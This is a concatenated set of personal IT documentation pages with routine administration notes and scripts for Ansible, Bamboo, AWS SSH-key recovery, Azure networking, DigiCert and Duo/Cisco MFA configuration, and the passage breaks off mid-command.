# Caleb Sargeant's Docs Every documentation page, concatenated. Canonical site: https://docs.calebsargeant.com/ --- # Ansible Source: docs/computing/ansible/index.md URL: https://docs.calebsargeant.com/computing/ansible/ View my [Ansible GitHub Repo](https://github.com/CalebSargeant/ansible) Ping localhost: `ansible localhost -m ping` --- # Module Examples Source: docs/computing/ansible/module-examples.md URL: https://docs.calebsargeant.com/computing/ansible/module-examples/ ## lineinfile ``` yaml - name: Create ANAME records for all safe search lineinfile: path: /tmp/test.txt line: "{{ item.line }}" with_items: - { line: 'host-record=forcesafesearch.google.com,216.239.38.120' } - { line: 'host-record=safe.duckduckgo.com,54.241.17.246' } - { line: 'host-record=restrict.youtube.com,216.239.38.120' } - { line: 'host-record=strict.bing.com,204.79.197.220' } - { line: 'host-record=safesearch.pixabay.com,176.9.158.70' } - name: Create CNAME records for various search engines lineinfile: path: /tmp/test.txt line: "{{ item.line }}" with_items: - { line: 'cname=www.youtube.com,restrict.youtube.com' } - { line: 'cname=m.youtube.com,restrict.youtube.com' } - { line: 'cname=youtubei.googleapis.com,restrict.youtube.com' } - { line: 'cname=youtube.googleapis.com,restrict.youtube.com' } - { line: 'cname=www.youtube-nocookie.com,restrict.youtube.com' } - { line: 'cname=duckduckgo.com,www.duckduckgo.com,start.duckduckgo.com,safe.duckduckgo.com' } - { line: 'cname=duck.com,www.duck.com,safe.duckduckgo.com' } - { line: 'cname=bing.com,www.bing.com,strict.bing.com' } - { line: 'cname=pixabay.com,safesearch.pixabay.com' } ``` ## shell ``` yaml - name: Google test shell: "echo cname={{ item }},www.{{ item }},forcesafesearch.google.com >> /tmp/test.txt" with_items: - "{{ my_items.stdout_lines }}" ``` --- # Bamboo Source: docs/computing/bamboo.md URL: https://docs.calebsargeant.com/computing/bamboo/ ## Setting up an Instance ``` bash root@bamboo:~# wget https://www.atlassian.com/software/bamboo/downloads/binary/atlassian-bamboo-8.0.1.tar.gz root@bamboo:~# tar -xvf atlassian-bamboo-8.0.1.tar.gz root@bamboo:~# cd atlassian-bamboo-8.0.1/ root@bamboo:~/atlassian-bamboo-8.0.1# mkdir /var/bamboo/ root@bamboo:~/atlassian-bamboo-8.0.1# mkdir /var/bamboo/bamboo-home root@bamboo:~/atlassian-bamboo-8.0.1# nano atlassian-bamboo/WEB-INF/classes/bamboo-init.properties root@bamboo:~/atlassian-bamboo-8.0.1# sudo apt install default-jre root@bamboo:~/atlassian-bamboo-8.0.1# java -version root@bamboo:~/atlassian-bamboo-8.0.1# ./bin/start-bamboo.sh root@bamboo:~/atlassian-bamboo-8.0.1# sudo apt install postgresql postgresql-contrib root@bamboo:~/atlassian-bamboo-8.0.1# sudo -i -u postgres postgres@bamboo:~$ psql postgres=# create user caleb with encrypted password 'mypassword'; postgres=# create database bamboo; postgres=# grant all privileges on database bamboo to caleb; ``` ## Installing the Remote Agent ``` bash root@bamboo:~# wget http://localhost:8085/agentServer/agentInstaller/atlassian-bamboo-agent-installer-8.0.1.jar root@bamboo:~# java -jar atlassian-bamboo-agent-installer-8.0.1.jar http://localhost:8085/agentServer/ ``` --- # AWS Source: docs/computing/cloud/aws.md URL: https://docs.calebsargeant.com/computing/cloud/aws/ ## Certification ### AWS Certified Cloud Practitioner ![AWS Certified Cloud Practitioner badge.634f8a21af2e0e956ed8905a72366146ba22b74c](_images/AWS-Certified-Cloud-Practitioner_badge.634f8a21af2e0e956ed8905a72366146ba22b74c.png) CLF-C01 [Download Slides](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/cloud/_docs/AWS%20Certified%20Cloud%20Practitioner%20Slides%20v2.11.0.pdf) ### AWS Certified SysOps Administrator ![AWS Certified SysOps Administrator Associate badge.c3586b02748654fb588633314dd66a1d6841893b](_images/AWS-Certified-SysOps-Administrator-Associate_badge.c3586b02748654fb588633314dd66a1d6841893b.png) SOA-C02 [Download Slides](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/cloud/_docs/AWS%20Certified%20SysOps%20Slides%20v3.8.0.pdf) ### AWS Certified DevOps Engineer - Professional ![AWS Certified DevOps Engineer Professional badge.7492bf660b5351e51f3f8015e4818924294a7e8c](_images/AWS-Certified-DevOps-Engineer-Professional_badge.7492bf660b5351e51f3f8015e4818924294a7e8c.png) DOP-C01 ### AWS Certified Security - Specialty ![AWS Certified Security Specialty badge.75ad1e505c0241bdb321f4c4d9abc51c0109c54f](_images/AWS-Certified-Security-Specialty_badge.75ad1e505c0241bdb321f4c4d9abc51c0109c54f.png) SCS-C01 ## General ### Recover Lost SSH Key 1. Create a new instance with an SSH key 2. SSH into the instance and copy the authorized_keys entry 3. Stop the instance that you lost the key for 4. Edit the user data of the instance: ![aws](_images/aws-1.png) 5. Paste the below in the user data of the instance and start it: ``` bash Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 --// Content-Type: text/cloud-config; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="cloud-config.txt" #cloud-config cloud_final_modules: - [scripts-user, always] --// Content-Type: text/x-shellscript; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="userdata.txt" #!/bin/bash /bin/echo -e "ssh-rsa AAUvoqDuvCKFrVzeq/O68JgAo0zSSD3KMYwO1RSZ8/2FwMEYZP7jAh3GOYJhIS AzFsDcN/jgtluZIwEn7MXym21EDLk1aFdI20WtbQJH79as9+nV9jtzf9BiQnM/fe18Frb94A1DUALcEyPesl oYvcOxyCCaqAKS6v1g1me4Up+IbHNfVgE+GtLdh+oohR8SRc3xL9tvQu0kzFSRVsfymhu5l2WBpf9STvm3rt MbNKzjmKAqPlMSuShn72pTwqScGoPG+3ofZ36nLdh+oo" >> /home/ec2-user/.ssh/authorized_keys --// ``` 6. Login to the server with the new key 7. Remember to stop the recovery instance you created if not using it --- # Azure Source: docs/computing/cloud/azure.md URL: https://docs.calebsargeant.com/computing/cloud/azure/ ## SFTP Server using Storage Account - Create Storage Account - Deploy template ## Sentinal - - > - > - > - ## Az-CLI ### Creating Tunnels ``` bash ## Create a Gatway Subnet for VNET az network vnet subnet create -g "$RSG" --vnet-name "$VNET" -n "GatewaySubnet" --address-prefix "10.$SUBNUM.207.224/27" ## Create a Public IP Address for VGW (https://docs.microsoft.com/en-us/azure/vpn-gateway/vpn-gateway-vpn-faq#can-i-request-a-static-public-ip-address-for-my-vpn-gateway) az network public-ip create -g "$RSG" -n "$VGW_PIP" --allocation-method "dynamic" ## Create a VNET Gateway az network vnet-gateway create -g "$RSG" -n "$VGW_NAME" --vnet "$VNET" --public-ip-addresses "$VGW_PIP" --sku "Standard" ## Create a local-gateway (VPN Peer) to connect to az network local-gateway create -g "$RSG" -n "$LGW1" --gateway-ip-address "$PIP1" --local-address-prefixes "$SUBNET" ## Create the tunnel on Azure's side az network vpn-connection create -g "$RSG" -n "$CON1" --vnet-gateway1 "$VGW_NAME" --local-gateway2 "$LGW1" --shared-key "$PSK" ## VNET to VNET Tunnels for XX in $OTHER_REGIONS; do VGW_ID=$(az network vnet-gateway show -g "$XX-RSG" -n "$XX-VPN-GW" | grep id | head -n1 | awk -F '"' '{print $4}') az network vpn-connection create -g "$RSG" -n "$VNET-$XX-VNET" --vnet-gateway1 "$VGW_NAME" --vnet-gateway2 "$VGW_ID" --shared-key "$VNET_PSK" done ``` ### Tunnel Config on ASA ``` bash ASA_PEER=$(az network public-ip show -g "$RSG" -n "$VGW_PIP" --query ipAddress -o tsv) ASA_PEER_NAME="CORP-AZURE-$REGION_PREFIX-$SUBNUM" ASA_REMOTE_SUBNET=$(echo "$VNET_PREFIX" | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}') # Generate Azure tunnel configuration FILENAME="$REGION_PREFIX.ps1" echo "# This file is generated by scriptPX" >> "$FILENAME" echo "\$POLICY = New-AzIpsecPolicy -IkeEncryption AES$P1_AES -IkeIntegrity SHA$P1_SHA -DhGroup DHGroup$DH_GROUP -IpsecEncryption GCMAES$P2_GCM_AES -IpsecIntegrity GCMAES$P2_GCM_AES -PfsGroup PFS$DH_GROUP -SALifeTimeSeconds 14400 -SADataSizeKilobytes 102400000" > "$FILENAME" echo "\$RSG = \"$RSG\"" >> "$FILENAME" echo "\$Connections = @(\"$CON1\", \"$CON2\")" >> "$FILENAME" echo "foreach (\$Connection in \$Connections) {" >> "$FILENAME" echo " \$CON = Get-AzVirtualNetworkGatewayConnection -name \$Connection -ResourceGroupName \$RSG" >> "$FILENAME" echo " Set-AzVirtualNetworkGatewayConnection -VirtualNetworkGatewayConnection \$CON -IpsecPolicies \$POLICY -UsePolicyBasedTrafficSelectors \$True -Force" >> "$FILENAME" echo "}" >> "$FILENAME" # Generate ASA tunnel configuration for i in "${OFFICES[@]}"; do OFFICE=$i if [[ "$OFFICE" == "CPT" ]] ; then FILENAME="03-4-tunnels-cpt-az$REGION_PREFIX" PSK="$CPT_PSK" ASA_LOCAL_SUBNET=$(echo "$CPT_SUBNET" | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}') NEXT_HOP_INT="$CPT_NEXT_HOP_INT" NEXT_HOP_IP="$CPT_NEXT_HOP_IP" elif [[ "$OFFICE" == "JHB" ]]; then FILENAME="03-5-tunnels-jhb$REGION_PREFIX" PSK="$JHB_PSK" ASA_LOCAL_SUBNET=$(echo "$JHB_SUBNET" | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}') NEXT_HOP_INT="$JHB_NEXT_HOP_INT" NEXT_HOP_IP="$JHB_NEXT_HOP_IP" elif [[ "$OFFICE" == "DBN" ]]; then FILENAME="03-6-tunnels-dbn$REGION_PREFIX" PSK="$DBN_PSK" ASA_LOCAL_SUBNET=$(echo "$DBN_SUBNET" | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}') NEXT_HOP_INT="$DBN_NEXT_HOP_INT" NEXT_HOP_IP="$DBN_NEXT_HOP_IP" fi echo "# This file is generated by scriptPX" >> "$FILENAME" echo "wr mem" >> "$FILENAME" echo "copy /noconfirm startup startup$rdate" > "$FILENAME" echo "name $ASA_PEER $ASA_PEER_NAME" > "$FILENAME" echo "" >> "$FILENAME" echo "group-policy GroupPolicy_$ASA_PEER internal" >> "$FILENAME" echo "group-policy GroupPolicy_$ASA_PEER attributes" >> "$FILENAME" echo " vpn-tunnel-protocol ikev2" >> "$FILENAME" echo "" >> "$FILENAME" echo "tunnel-group $ASA_PEER type ipsec-l2l" >> "$FILENAME" echo "tunnel-group $ASA_PEER general-attributes" >> "$FILENAME" echo " default-group-policy GroupPolicy_$ASA_PEER" >> "$FILENAME" echo "tunnel-group $ASA_PEER ipsec-attributes" >> "$FILENAME" echo " ikev2 local-authentication pre-shared-key $PSK" >> "$FILENAME" echo " ikev2 remote-authentication pre-shared-key $PSK" >> "$FILENAME" echo "" >> "$FILENAME" echo "object-group network VPN-LOCAL-$SUBNUM" >> "$FILENAME" echo " description OnPrem Network" >> "$FILENAME" echo " network-object $ASA_LOCAL_SUBNET 255.255.0.0" >> "$FILENAME" echo "" >> "$FILENAME" echo "object-group network VPN-REMOTE-$SUBNUM" >> "$FILENAME" echo " description Azure Virtual Network" >> "$FILENAME" echo " network-object $ASA_REMOTE_SUBNET 255.255.0.0" >> "$FILENAME" echo "" >> "$FILENAME" echo "access-list $SUBNUM extended permit ip object-group VPN-LOCAL-$SUBNUM object-group VPN-REMOTE-$SUBNUM" >> "$FILENAME" echo "" >> "$FILENAME" echo "crypto ikev2 policy $SUBNUM" >> "$FILENAME" echo " encryption aes-$P1_AES" >> "$FILENAME" echo " integrity sha$P1_SHA" >> "$FILENAME" echo " group $DH_GROUP" >> "$FILENAME" echo " prf $PRF" >> "$FILENAME" echo " lifetime seconds $P1_LIFETIME" >> "$FILENAME" echo "" >> "$FILENAME" echo "crypto ipsec ikev2 ipsec-proposal AES-GCM-$P2_GCM_AES" >> "$FILENAME" echo " protocol esp encryption aes-gcm-$P2_GCM_AES" >> "$FILENAME" echo " protocol esp integrity aes-gcm-$P2_GCM_AES" >> "$FILENAME" echo "" >> "$FILENAME" echo "crypto map outside_map $SUBNUM match address $SUBNUM" >> "$FILENAME" echo "crypto map outside_map $SUBNUM set pfs group$DH_GROUP" >> "$FILENAME" echo "crypto map outside_map $SUBNUM set peer $ASA_PEER_NAME" >> "$FILENAME" echo "crypto map outside_map $SUBNUM set ikev2 ipsec-proposal AES-GCM-$P2_GCM_AES" >> "$FILENAME" echo "crypto map outside2_map $SUBNUM match address $SUBNUM" >> "$FILENAME" echo "crypto map outside2_map $SUBNUM set pfs group$DH_GROUP" >> "$FILENAME" echo "crypto map outside2_map $SUBNUM set peer $ASA_PEER_NAME" >> "$FILENAME" echo "crypto map outside2_map $SUBNUM set ikev2 ipsec-proposal AES-GCM-$P2_GCM_AES" >> "$FILENAME" echo "" >> "$FILENAME" echo "nat (any,outside) source static VPN-LOCAL-$SUBNUM VPN-LOCAL-$SUBNUM destination static VPN-REMOTE-$SUBNUM VPN-REMOTE-$SUBNUM no-proxy-arp route-lookup" >> "$FILENAME" echo "nat (any,outside2) source static VPN-LOCAL-$SUBNUM VPN-LOCAL-$SUBNUM destination static VPN-REMOTE-$SUBNUM VPN-REMOTE-$SUBNUM no-proxy-arp route-lookup" >> "$FILENAME" echo "" >> "$FILENAME" echo "access-list Outside-Split-ACL standard permit $ASA_REMOTE_SUBNET 255.255.0.0" >> "$FILENAME" echo "" >> "$FILENAME" if [[ "$NEXT_HOP_INT" == "outside" ]]; then echo "# using default route" >> "$FILENAME" else echo "route $NEXT_HOP_INT $ASA_PEER_NAME 255.255.255.255 $NEXT_HOP_IP 1" >> "$FILENAME" fi echo "wr mem" >> "$FILENAME" done ``` ### Public IP ``` bash AZ_PEER_PIP1=$(az network public-ip show -g "$RSG" -n "$VGW_PIP" --query ipAddress -o tsv) ``` ### Functions ``` bash # Nothing needs to be defined to use function (no, you don't have to define Nothing= :)) network-lb-create() { az network lb create --resource-group "$RSG" --name "$LB_NAME" --frontend-ip-name "$LB_FE_POOL_NAME" \ --private-ip-address "$LB_IP" --backend-pool-name "$LB_BE_POOL_NAME" --vnet-name "$VNET" --subnet "$SUBNET" } # LB_PROBE_PROTO and LB_PROBE_PORT need to be defined to use function network-lb-probe-create() { az network lb probe create --resource-group "$RSG" --lb-name "$LB_NAME" \ --name "$LB_PROBE_NAME" --protocol "$LB_PROBE_PROTO" --port "$LB_PROBE_PORT" } # LB_RULE_NAME, LB_RULE_PORT, and LB_RULE_PROTO need to be defined to use function lb-rule-create() { az network lb rule create --resource-group "$RSG" --lb-name "$LB_NAME" \ --name "$LB_NAME-$LB_RULE_NAME" --protocol "$LB_RULE_PROTO" --frontend-port "$LB_RULE_PORT" \ --backend-port "$LB_RULE_PORT" --frontend-ip-name "$LB_FE_POOL_NAME" \ --backend-pool-name "$LB_BE_POOL_NAME" --probe-name "$LB_PROBE_NAME" } # NSGR_NAME, NSGR_SRC, NSGR_DST, NSGR_PORTS, NSGR_PROTO, and NSGR_PRIORITY need to be defined to use function nsg-rule-create() { az network nsg rule create -g "$RSG" --nsg-name "$NSG" -n $NSGR_NAME \ --source-address-prefixes ""$NSGR_SRC"" \ --destination-address-prefixes "$NSGR_DST" \ --destination-port-ranges "$NSGR_PORTS" --priority "$NSGR_PRIORITY" \ --access Allow --protocol "$NSGR_PROTO" --direction Inbound } # VM_NIC_NAME needs to be defined to use function network-nic-create() { az network nic create \ -g "$RSG" -n "$VM_NIC_NAME" \ --vnet-name "$VNET" \ --subnet "$SUBNET" "$@" } network-nic-list() { az network nic list \ -g "$RSG" \ --vnet-name "$VNET" } # AS_NAME needs to be defined to use function vm-availability-set-create() { az vm availability-set create -g "$RSG" -n "$AS_NAME" } # VM_NIC_NAME needs to be defined to use function network-nic-pool-add() { az network nic ip-config address-pool add -g "$RSG" --nic-name "$VM_NIC_NAME" \ --ip-config-name "ipconfig1" --address-pool "$LB_BE_POOL_NAME" --lb-name "$LB_NAME" } # VM_NAME and VM_NIC_NAME need to be defined to use function vm-create() { az vm create \ -g "$RSG" -n "$VM_NAME" \ --image "$VM_IMAGE" \ --admin-username "$VM_USER" \ --admin-password "$VM_PASS" \ --size "$VM_FLAVOUR" \ --storage-sku "$VM_DISK_TYPE" \ --nics "$VM_NIC_NAME" \ --generate-ssh-keys "$@" } # VM_NAME needs to be defined to use function vm-ip-private() { az vm show -d -g "$RSG" -n "$VM_NAME" --query privateIps -o tsv } # VM_NAME needs to be defined to use function vm-ip-public() { az vm show -d -g "$RSG" -n "$VM_NAME" --query publicIps -o tsv } # VM_IP needs to be defined to use function vm-copy-ssh-key() { .ssh/login.expect "$VM_PASS" "$VM_USER" "$VM_IP" } ``` ### Resize Disk ``` bash # Get a list of disks in RSG az disk list -g RSG --query '[*].{Name:name,Gb:diskSizeGb,Tier:accountType}' --output table # Output the name of the disk az disk list -g RSG --query '[*].{Name:name,Gb:diskSizeGb,Tier:accountType}' --output table | grep SERVERNAME | awk '{print $1}' # Stop the VM az vm stop -g RSG -n SERVERNAME # Deallocate the VM az vm deallocate -g RSG -n SERVERNAME # Resize the disk az disk update -g UK-RSG -n SERVERNAME_OsDisk_1_xxxxxxxxxx --size-gb 100 # Start the VM az vm start -g RSG -n SERVERNAME ``` ## Azure Powershell ### Modifying IPSec Policies ``` powershell # Maximum strength: $POLICY = New-AzIpsecPolicy -IkeEncryption AES256 -IkeIntegrity SHA384 -DhGroup DHGroup24 -IpsecEncryption GCMAES256 -IpsecIntegrity GCMAES256 -PfsGroup PFS24 -SALifeTimeSeconds 14400 -SADataSizeKilobytes 102400000 $RSG = "RSG" $Connections = @("CON1", "CON2") foreach ($Connection in $Connections) { $CON = Get-AzVirtualNetworkGatewayConnection -name $Connection -ResourceGroupName $RSG Set-AzVirtualNetworkGatewayConnection -VirtualNetworkGatewayConnection $CON -IpsecPolicies $POLICY -UsePolicyBasedTrafficSelectors $True -Force } ``` ### Deploy AADDS ``` powershell # Change the following values to match your deployment. $AaddsAdminUserUpn = "admin@contoso.onmicrosoft.com" $ResourceGroupName = "myResourceGroup" $VnetName = "myVnet" $AzureLocation = "westus" $AzureSubscriptionId = "xxxxxx-xxxxx-xxxx-xxxx-xxxxxxx" $ManagedDomainName = "mydomain.com" # Connect to your Azure AD directory. Connect-AzureAD # Login to your Azure subscription. Connect-AzAccount # Create the service principal for Azure AD Domain Services. New-AzureADServicePrincipal -AppId "2565bd9d-da50-47d4-8b85-4c97f669dc36" # Create the delegated administration group for AAD Domain Services. New-AzureADGroup -DisplayName "AAD DC Administrators" ` -Description "Delegated group to administer Azure AD Domain Services" ` -SecurityEnabled $true -MailEnabled $false ` -MailNickName "AADDCAdministrators" # First, retrieve the object ID of the newly created 'AAD DC Administrators' group. $GroupObjectId = Get-AzureADGroup ` -Filter "DisplayName eq 'AAD DC Administrators'" | ` Select-Object ObjectId # Now, retrieve the object ID of the user you'd like to add to the group. $UserObjectId = Get-AzureADUser ` -Filter "UserPrincipalName eq '$AaddsAdminUserUpn'" | ` Select-Object ObjectId # Add the user to the 'AAD DC Administrators' group. Add-AzureADGroupMember -ObjectId $GroupObjectId.ObjectId -RefObjectId $UserObjectId.ObjectId # Register the resource provider for Azure AD Domain Services with Resource Manager. Register-AzResourceProvider -ProviderNamespace Microsoft.AAD # Create the resource group. New-AzResourceGroup ` -Name $ResourceGroupName ` -Location $AzureLocation # Create the dedicated subnet for AAD Domain Services. $AaddsSubnet = New-AzVirtualNetworkSubnetConfig ` -Name DomainServices ` -AddressPrefix 10.0.0.0/24 $WorkloadSubnet = New-AzVirtualNetworkSubnetConfig ` -Name Workloads ` -AddressPrefix 10.0.1.0/24 # Create the virtual network in which you will enable Azure AD Domain Services. $Vnet=New-AzVirtualNetwork ` -ResourceGroupName $ResourceGroupName ` -Location $AzureLocation ` -Name $VnetName ` -AddressPrefix 10.0.0.0/16 ` -Subnet $AaddsSubnet,$WorkloadSubnet # Enable Azure AD Domain Services for the directory. New-AzResource -ResourceId "/subscriptions/$AzureSubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.AAD/DomainServices/$ManagedDomainName" ` -Location $AzureLocation ` -Properties @{"DomainName"=$ManagedDomainName; ` "SubnetId"="/subscriptions/$AzureSubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.Network/virtualNetworks/$VnetName/subnets/DomainServices"} ` -Force -Verbose ``` ## Connection Troubleshooting ### GUI **Create a Storage Account** ![azure connection troubleshooting](_images/azure-connection-troubleshooting-1.png) Go to Home \> [Network Watcher - Packet capture](https://portal.azure.com/#blade/Microsoft_Azure_Network/NetworkWatcherMenuBlade/packetCapture) \> Add ![azure connection troubleshooting](_images/azure-connection-troubleshooting-1.png) Select the following from the dropdowns: - Resource group: (your RSG) - Target Virtual Machine: (the VM that you want to run the capture on) - Packet capture name: (give it something unique) - Storage account: (your storage account ) - Maximum bytes per session: 10485760 (10MB, instead of the default 1GB) ![azure connection troubleshooting](_images/azure-connection-troubleshooting-1.png) ### CLI ``` bash az network watcher packet-capture create -g MyResourceGroup -n MyPacketCaptureName --vm MyVm \ --storage-account MyStorageAccount --filters '[ \ { \ "protocol":"TCP", \ "remoteIPAddress":"1.1.1.1-255.255.255", \ "localIPAddress":"10.0.0.3", \ "remotePort":"20" \ }, \ { \ "protocol":"TCP", \ "remoteIPAddress":"1.1.1.1-255.255.255", \ "localIPAddress":"10.0.0.3", \ "remotePort":"80" \ }, \ { \ "protocol":"TCP", \ "remoteIPAddress":"1.1.1.1-255.255.255", \ "localIPAddress":"10.0.0.3", \ "remotePort":"443" \ }, \ { \ "protocol":"UDP" \ }]' ``` --- # Cloudflare Source: docs/computing/cloud/cloudflare.md URL: https://docs.calebsargeant.com/computing/cloud/cloudflare/ Some stuff about Cloudflare HTTP ports supported by Cloudflare: - 80 - 8080 - 8880 - 2052 - 2082 - 2086 - 2095 HTTPS ports supported by Cloudflare: - 443 - 2053 - 2083 - 2087 - 2096 - 8443 --- # DigiCert Source: docs/computing/cloud/digicert.md URL: https://docs.calebsargeant.com/computing/cloud/digicert/ ## Enabling IP Restrictions IP Restrictions are enabled in the DigiCert control panel under *Settings \> IP Restrictions*. We cannot define the IP Addresses to restrict to until we have enabled this option. ![digicert](_images/digicert-1.png) Once the option is enabled, we are able to add IP Addresses to restrict. ![digicert](_images/digicert-2.png) We will be adding all of our public IP Addresses. ![digicert](_images/digicert-3.png) ![digicert](_images/digicert-4.png) ### Giving Access to DigiCert via Split-Tunnel By default, we will be able to access the DigiCert control panel when working from the office. We need to add DigiCert's IP Addresses to our outside interface split-tunnel configuration so that we can access the DigiCert control panel when VPNing from outside the office. DigiCert uses static IP Addresses which are unlikely to change; however, if they do, we will not be able to access the DigiCert control panel through VPN until we update the split-tunnel configuration. Change on ASA Example ``` text access-list OUTSIDE_SPLIT_ACL standard permit host 45.60.121.229 access-list OUTSIDE_SPLIT_ACL standard permit host 45.60.123.229 access-list OUTSIDE_SPLIT_ACL standard permit host 45.60.131.229 ``` --- # Duo Source: docs/computing/cloud/duo.md URL: https://docs.calebsargeant.com/computing/cloud/duo/ Stuff about Duo & administration thereof ## Cisco AnyConnect VPN ### Duo Admin Panel Go to *Applications \> Protect an Application* \> search for cisco radius \> *Protect this Application* ![duo](_images/duo-8.png) Take note of the below. There are way more options that can be configured including but not limited to, logs, voice greetings, policies, etc. ![duo](_images/duo-9.png) ### Duo Authentication Proxy See [Directory Sync](#directory-sync) for expected output ``` bash # Edit the Duo config file sudo nano /opt/duoauthproxy/conf/authproxy.cfg [radius_server_auto] ikey=REDACTED skey=REDACTED api_host=REDACTED.duosecurity.com client=ad_client radius_ip_1=x.x.x.x radius_secret_1=REDACTED # Restart the proxy service service duoauthproxy restart # Verify config sudo /opt/duoauthproxy/bin/authproxy_connectivity_tool ``` ### Cisco ASA Configuration ``` text # Create the aaa-server aaa-server CORP_DUO protocol radius aaa-server CORP_DUO (inside) host server.corp.example.com timeout 60 key *************** authentication-port 1812 accounting-port 1813 radius-common-pw *************** no mschapv2-capable exit # Config tunnel-group tunnel-group DUO_TUNNEL_GROUP type remote-access tunnel-group DUO_TUNNEL_GROUP general-attributes default-group-policy GROUP_POLICY authentication-server-group CORP_DUO address-pool POOL authorization-required authorization-server-group CORP_LDAP tunnel-group DUO_TUNNEL_GROUP webvpn-attributes group-alias DuoEnabledVPN enable ``` **radius-common-pw** is common password to be used for all users who are accessing this RADIUS authorization server through this security appliance **key** is key specific to a client (i.e. client is a device) created on the Radius server. ## Cisco Management Access We added independent Application to DUO cloud service to be able to independently manage groups allowed to access the group of devices. ![duo](_images/duo-3.png) The group is: ![duo](_images/duo-4.png) ![duo](_images/duo-5.png) ![duo](_images/duo-6.png) ![duo](_images/duo-7.png) ### DUO Authentication Proxy We needed a second instance of RADIUS proxy on the duo instances built for AnyConnect MFA. This was achieved by adding a section to the configuration of each DUO instance. We needed to specify different radius port, for example port=18120, to avoid mixing with DUO MFA for AnyConnect. ``` bash [radius_server_auto2] ikey=REDACTED skey=REDACTED api_host=REDACTED.duosecurity.com client=ad_client port=18120 radius_ip_1=x.x.x.x radius_secret_1=REDACTED radius_ip_2=y.y.y.y radius_secret_2=REDACTED radius_ip_3=z.z.z.z radius_secret_3=REDACTED ``` Reload of the service should show no errors: ### Cisco ASA The configuration on each firewall has to point on the local duo proxy servers first, then as a fallback should be listed the remote proxy servers. ``` text aaa-server CORP_DUO_NET protocol radius aaa-server CORP_DUO_NET (inside) host server1.corp.example.com timeout 60 key REDACTED authentication-port 18120 accounting-port 1813 radius-common-pw REDACTED no mschapv2-capable aaa-server CORP_DUO_NET (inside) host server2.corp.example.com timeout 60 key REDACTED authentication-port 18120 accounting-port 1813 radius-common-pw REDACTED no mschapv2-capable no aaa authentication ssh console LOCAL aaa authentication ssh console CORP_DUO_NET LOCAL ``` ### Cisco IOS The configuration on each switch has to point on the local duo proxy servers first, then as a fallback should be listed the remote proxy servers. Also DNS had to be fixed to make sure the switch can find the instances by name. Importantly, the Duoauthproxy DNS to IP resolution is only performed at the configuration time and saved, as each Duoauthproxy is saved to the configuration as an IP address. ``` text # Enable DNS lookups ip domain-lookup ip domain-name corp.example.com ip name-server x.x.x.x ip name-server y.y.y.y ip name-server 1.1.1.1 ip name-server 1.0.0.1 aaa group server radius CORP_DUO_NET server-private server1.corp.example.com auth-port 18120 timeout 60 key REDACTED server-private server2.corp.example.com auth-port 18120 timeout 60 key REDACTED # Test test aaa group CORP_DUO_NET USER PASSWORD new-code no aaa authentication login default local aaa authentication login default group CORP_DUO_NET local aaa authorization exec default group CORP_DUO_NET local if-authenticated #change enable secret to let rancid elevate privileges via enable enable secret 5 REDACTED ``` ## Logging & Syslog ### DuoAuthProxy Syslog Config ``` bash nano /etc/rsyslog.conf *.* @server1.corp.example.com:12202;RSYSLOG_SyslogProtocol23Format *.* @server2.corp.example.com:12202;RSYSLOG_SyslogProtocol23Format *.* @server3.corp.example.com:12202;RSYSLOG_SyslogProtocol23Format service rsyslog restart ``` ### Logging Server Config I'm using Graylog in this example Navigate to *System \> Inputs* ![duo](_images/duo-10.png) Select *Syslog UDP* ![duo](_images/duo-11.png) Select the *Node*, type in the *Title* and *Port* ![duo](_images/duo-12.png) Viewing the Messages ![duo](_images/duo-13.png) ![duo](_images/duo-14.png) ## Directory Sync ### Add Email Addresses Attributes to AD The E-mail address field in AD needs to be filled out so that, when we do a Directory Sync with Duo, the email address will be populated in Duo for sending out enrolment links. ``` powershell Import-Module ActiveDirectory $OUList = 'ExampleOU1 ExampleOU2 ExampleOU3' $OUList = $OUList -split '\r?\n' ForEach ($OU in $OUList) { Get-ADUser -Filter * -SearchBase "OU=\$OU,DC=corp,DC=domain,DC=com" | ` ForEach-Object { Set-ADUser -EmailAddress ($_.samaccountname + '@domain.com') -Identity $_ } ForEach-Object { Get-ADUser -Filter * -SearchBase "OU=\$OU,DC=mydc,DC=com" -Properties * | select SamAccountName, mail } | Tee-Object -Append UpdateEmailAddressAttributes.log } ``` ![duo](_images/duo-1.png) ![duo](_images/duo-2.png) ### In the Duo Admin Panel Go to *Users \> Directory Sync \> New Directory* ![duo](_images/duo-23.png) Input the *Display name, Server* name (use the internal hostname, as the Duo Authentication Proxy is the device that connects to AD), and select *Plain Authentication type* ![duo](_images/duo-24.png) The *Transport type* is the connection between the *Duo Authentication Proxy* and AD. For the purpose of this guide, we are using *CLEAR Transport type*, but otherwise, we will configure *LDAPS*. When implementing, I recommend we add phones to AD and check Import phones, as this will make enrollment easier. ![duo](_images/duo-25.png) Take note of the *Integrated key, Secret key, and API hostname* ![duo](_images/duo-26.png) We will now take a break from the *Duo Admin Panel* and configure the *Duo Authentication Proxy* and come back to this page. Ensure that you click on *Save Directory* ### On the Duo Authentication Proxy As per and ``` bash # Update and upgrade sudo apt-get update -y && sudo apt-get upgrade -y # Installing dependancies sudo apt-get install build-essential python-dev libffi-dev perl zlib1g-dev -y # Download the Duo "auth proxy" sudo wget https://dl.duosecurity.com/duoauthproxy-latest-src.tgz # Extract the program & build sudo tar zxf duoauthproxy-latest-src.tgz dir=$(ll | grep src/ | awk '{print $9}') cd $dir sudo make # Install the program cd duoauthproxy-build/ sudo ./install # enter, enter, yes ``` **Configuration - Cloud Section** As per ``` bash # Edit the Duo config file sudo nano /opt/duoauthproxy/conf/authproxy.cfg [cloud] ikey=REDACTED skey=REDACTED api_host=REDACTED.duosecurity.com service_account_username=REDACTED service_account_password=REDACTED ``` **Configuration - Client Section** As per ``` bash # Edit the Duo config file sudo nano 